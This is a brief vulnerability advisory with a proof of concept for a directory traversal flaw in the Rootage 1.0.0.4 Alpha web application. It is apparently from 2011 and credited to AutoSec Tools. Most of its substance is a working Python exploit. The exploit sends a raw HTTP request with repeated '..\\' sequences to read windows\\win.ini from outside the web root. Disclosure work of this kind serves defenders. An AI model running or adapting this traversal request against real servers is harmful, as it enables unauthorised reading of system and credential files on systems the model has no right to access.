# ------------------------------------------------------------------------ # Software................Rootage 1.0.0.4 Alpha # Vulnerability...........Directory Traversal # Threat Level............Serious (3/5) # Download................http://get-for-net.ru/ # Discovery Date..........5/18/2011 # Tested On...............Windows Vista + XAMPP # ------------------------------------------------------------------------ # Author..................AutoSec Tools # Site....................http://www.autosectools.com/ # Email...................John Leitch <john@autosectools.com> # ------------------------------------------------------------------------ # # # --Description-- # # A directory traversal vulnerability in Rootage 1.0.0.4 Alpha can be # exploited to read files outside of the web root. # # # --PoC-- import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.settimeout(8) s.send('GET /' + '..\\' * 8 + 'windows\win.ini HTTP/1.1\r\n' 'Host: localhost\r\n\r\n') print s.recv(8192)